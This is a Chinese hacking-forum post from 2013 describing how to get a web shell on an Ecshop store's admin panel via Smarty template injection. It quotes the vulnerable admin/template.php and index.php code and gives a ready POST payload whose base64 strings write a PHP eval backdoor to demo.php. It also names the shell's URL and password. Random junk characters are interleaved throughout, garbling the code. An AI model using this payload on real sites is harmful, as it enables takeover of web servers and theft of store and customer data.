找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2482|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
6 g% a, I4 D! K$ s
2 h; ]9 \8 ?- u9 Q7 }而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了# U1 r' I3 Q. U; a7 b
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* I( z, K% n" |' }  s: S5 g4 q
admin/template.php- F, D0 |% a5 k

1 q, }9 {$ `  v! d7 v" C1 if ($_REQUEST['act'] == 'update_library') 7 B  J3 v/ A" Z
& K# T: I( ~. u; Y8 T
2   
/ b9 R+ w; {# j, m; s, N4 C
. ?: [3 \/ Z# w3 D. b% ~3 {
$ ~+ ], V0 u( g+ H3 e( g3 d7 z- j( h6 l! b
4     check_authz_json('library_manage'); - `% v+ T4 C$ B; y

, ]/ J0 _; i, m/ U0 P5   ! a. ]; `8 u1 t- h5 ~5 @

6 N: u8 i  k1 T9 d6     $html = stripslashes(json_str_iconv($_POST['html'])); ) ~" {7 R7 r2 S2 I- [- e
7 y6 ]/ W3 T2 |: ?$ T$ H
7   
  J6 f' H8 g0 P
6 Z# k  e" J6 _# S! D" s; w8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ u& a! e5 M4 ]7 `+ b
$ A7 {& A) ^/ x  M" N8 C0 ~9   - W$ q/ Q( B. F" j9 ?. ^1 d( ?, D6 \

  q5 ^! z( M- `- e; l- i5 J1 x" j10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 5 t) g; M  @7 L: l- i

7 V1 d" U8 x) m& w3 H+ I0 [11   
* C0 {& t# g- T* ~1 k  U7 N0 h0 p
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 Z9 o. x- D9 |( P! A& ?
' F$ u6 ~0 K% W  z13   4 [) I2 e' d7 ^; x7 L$ M
4 y. b3 U0 k5 `% y* G0 t
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
3 {( g+ x; {5 Q( l
' T, a# g1 Z; F: P5 U' @7 {15     {
" J9 z% T. F! a( h5 k3 j2 O9 D1 ~, l2 R
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
' p0 z9 _! H/ H: X9 d4 J) b9 Z. J7 W  \3 p  x7 C* R
17         make_json_result('', $_LANG['update_lib_success']); # n1 g5 A. i8 I* @1 b% J
& n! u. d0 s& U* N
18     } 6 x0 N/ o- D  {9 \6 o. S

7 s5 \( t& x- G' i; u% \7 k4 H19     else
9 Y/ [  \- C* H  P2 z# j
8 j9 v8 Y/ Q* S9 ]20     { 4 k% L: d) d# u' C. \. A

+ I! F9 W4 ], O, M- y& e3 m7 m21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); * w2 |7 e# d) I' i5 F6 ]2 H
- N) e& r7 `7 o# s. O
22     }
' S7 U& A( H: X; N
; _0 f, }6 {# I( Z- z% {' M; K" K23 }
+ h& _  I' H0 s- N6 X5 A
( h; ]# H$ m# h: W1 t那么找个比较方便调用了模板的文件2 N; k( D; ~" g7 v- d
index.php
4 J( r" y% G) b0 _8 |
' L! `+ k+ g: \2 {; Q, P7 ^* p1 if ($act == 'cat_rec')
) A1 g% h( l  W, {! T; p4 F1 O
9 q. S- c% Y  v' [# j# ?  K2   + j" F) N4 J% o4 d$ y5 d  P* M

5 f; x* t; e: a* t* W3 { 2 i; }" H- e3 P- u

/ ?! I; {, D1 V% g+ }7 M1 B  a4   
- L( ?7 V3 ]) H* B, C
4 ^0 J; X. B% s, E' O5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); - }0 d0 P) {: h8 G' b

8 a, R- y  `' X; }4 D6   # m5 a* n; e# f; V3 t4 r

4 }7 p/ r! v- P7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 4 H$ B3 M1 I& v* V

0 Y2 H6 f2 ~, u8   # y; v9 x- T( p" u* n* u

8 R, `1 E% i6 @$ S3 o, L: u" i$ z9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
4 t. B3 f' M9 o- p" R3 L) |2 C' U4 W* N# E' ?  A3 N5 G+ l  G; j
10   6 k6 e. m( J, ?% `, c* \. Y

5 \) [) p/ C7 Z11     include_once('includes/cls_json.php');
" s+ K" t# t. ]/ Q! r% w
, {( \' K2 U+ c- n- W, M8 {$ |12   
/ ]) V4 b! T  z( Y- R5 P' s
2 @* h2 g$ c  _( R8 x! ~13     $json = new JSON;
4 ]4 n  p/ u3 B, Y5 p
+ D$ |5 ?' [: V$ h$ S- M/ L14   
$ Z0 S6 Q) c% d# V
# O5 y9 d: A! `3 ]6 z15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); , ]& m$ u. ^2 g9 F' r2 H
2 ~# A/ ?  @0 H, ?% Y
16   
  n/ e: r( q7 u) `: q) ]& G$ m( I
9 t, D4 f. s% \, A# X3 p17     $children = get_children($cat_id);
8 V: S9 K" \% |9 a1 m/ J- |$ E
$ R( ^5 E$ \- ?9 g9 r18   ( ?. I- ^. k1 F0 s2 j9 t4 Z2 O! F

- O$ L7 a) e7 n; O" |4 B* a  U- |6 G19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
1 c, V. D) E  o  S0 ?9 Q1 C& j* f
) v4 Y  n  K- K( E2 _20     F! S- z4 J4 P3 H5 z8 L7 _
1 z% Z* S. e6 r
21     $smarty->assign('cat_rec_sign', 1);
# V* S% ^$ r) ^. K4 y1 |+ `+ m' J6 f' U" ^; w6 m
22   8 @; m  }9 @+ X( b' ?

  h$ R1 [- k! E6 h# X23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ X) N- r* E% g1 s# |4 S1 g* B
: B' S4 s6 P' t, N0 B. z24   
; `# u& W8 Z- H$ G4 v" c. ~& c4 \9 ~* K6 r: v
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 O8 E- ~7 |  R' ]- b+ ^% L
5 ~6 @% B9 {- }  b
26   / f3 a- Q/ A; X/ ^7 S2 a

, b( v* B. ^! g27         echo $rec_array[$rec_type];
3 B+ L% l2 G6 R) e  B
9 }& \- Y. p2 P3 A$ h) i28   
% Z- h1 \! q. W: N  j  B' n* D6 j: h: Y9 q4 I2 C
29     die($json->encode($result));
) j% h8 ~. L( Q
) K- l* V2 }# M# C3 ^% C30   
+ _6 Q3 U! p- U
: Y( h# n/ e* p; T% ^1 B3 ]31 }
2 _- m9 }# w# }2 @6 w; F
4 N' @0 G  k8 H, b那么就有利用方法了5 p% ^2 I$ f8 k# W- y
post包到http://localhost/ec/admin/template.php?act=update_library
$ S* I  M* c) M# @) v0 vPost内容:
( e* i  L# I  u7 h7 X* p" p/ w
; i3 \  [, G* `3 o0 p5 J
& O1 ?& T& `2 |+ Q6 ]" W1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 X9 T9 l" g$ m- b) D
; c: `2 K. @- f& X7 J- q然后访问http://localhost/ec/index.php?act=cat_rec: [5 q: D7 h/ i' ~. a  Q

; G0 l$ Y0 x* w' s& O" Ushel地址:http://localhost/ec/demo.php* y6 O6 e/ O0 S  P  d& d
密码c: t6 W. d5 H9 g- C6 a; U, y; H5 {

1 z5 h1 e: L9 o* h' ~0 v  ?) A9 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表